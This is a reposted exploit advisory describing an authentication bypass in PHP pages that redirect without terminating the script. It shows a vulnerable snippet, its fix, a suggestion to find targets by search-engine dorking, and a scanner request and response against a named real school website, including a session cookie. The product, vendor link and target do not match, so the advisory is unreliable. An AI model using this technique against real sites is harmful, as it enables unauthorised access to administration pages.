Share
## https://sploitus.com/exploit?id=PACKETSTORM:179636
====================================================================================================================================  
| # Title : Candy Redis V2.1.2 HTML Form in redirect page Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits) |  
| # Vendor : https://bacadigital.com/pasti-bisa-panduan-ujian-cbt-untuk-pengguna/ |  
====================================================================================================================================  
  
poc :  
  
[+] Dorking ฤฐn Google Or Other Search Enggine.  
  
[+] Vulnerability description :  
  
  
An HTML form was found in the response body of this page. However, the current page redirects the visitor to another page by returning an HTTP status code of 301/302.  
Therefore, all browser users will not see the contents of this page and will not be able to interact with the HTML form.   
  
Sometimes programmers don't properly terminate the script after redirecting the user to another page. For example:   
<?php  
if (!isset($_SESSION["authenticated"])) {  
header("Location: auth.php");  
}  
?>  
<title>Administration page</title>  
<form action="/admin/action" method="post">  
<!-- ... form inputs ... -->  
</form>  
  
<!-- ... the rest of the administration page ... -->  
This script is incorrect because the script is not terminated after the "header("Location: auth.php");" line. An attacker can access the content the administration page by using an HTTP client that doesn't follow redirection (like HTTP Editor). This creates an authentication bypass vulnerability.   
The correct code would be   
  
<?php  
if (!isset($_SESSION[auth])) {  
header("Location: auth.php");  
exit();  
}  
?>  
<title>Administration page</title>  
<form action="/admin/action" method="post">  
<!-- ... form inputs ... -->  
</form>  
  
<!-- ... the rest of the administration page ... -->  
  
[+] infected item : /pass.   
  
[+] Attack details :  
  
Form action=''  
  
GET /pass/ HTTP/1.1  
Pragma: no-cache  
Cache-Control: no-cache  
Referer: https://127.0.0.1/elearning7.smpn49-jkt.sch.id/pass  
Acunetix-Aspect: enabled  
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c  
Acunetix-Aspect-Queries: filelist;aspectalerts  
Cookie: PHPSESSID=dc1a2974e1afffa5b1926d0e4f3ff57f  
Host: elearning7.smpn49-jkt.sch.id  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21  
Accept: */*  
  
Response  
HTTP/1.1 302 Found  
Connection: Keep-Alive  
Keep-Alive: timeout=5, max=100  
x-powered-by: PHP/7.3.33  
location: https://127.0.0.1/elearning7.smpn49-jkt.sch.id/login.php  
content-type: text/html; charset=UTF-8  
content-length: 16992  
vary: Accept-Encoding,User-Agent  
date: Fri, 19 Jul 2024 10:09:49 GMT  
server: LiteSpeed  
cache-control: no-cache, no-store, must-revalidate, max-age=0  
platform: hostinger  
strict-transport-security: max-age=31536000; includeSubDomains; preload  
x-xss-protection: 1; mode=block  
x-content-type-options: nosniff  
Original-Content-Encoding: gzip  
  
[+] The impact of this vulnerability : depends on the affected web application.  
  
[+] How to fix this vulnerability : Make sure the script is terminated after redirecting the user to another page  
  
Greetings to :==================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |  
================================================================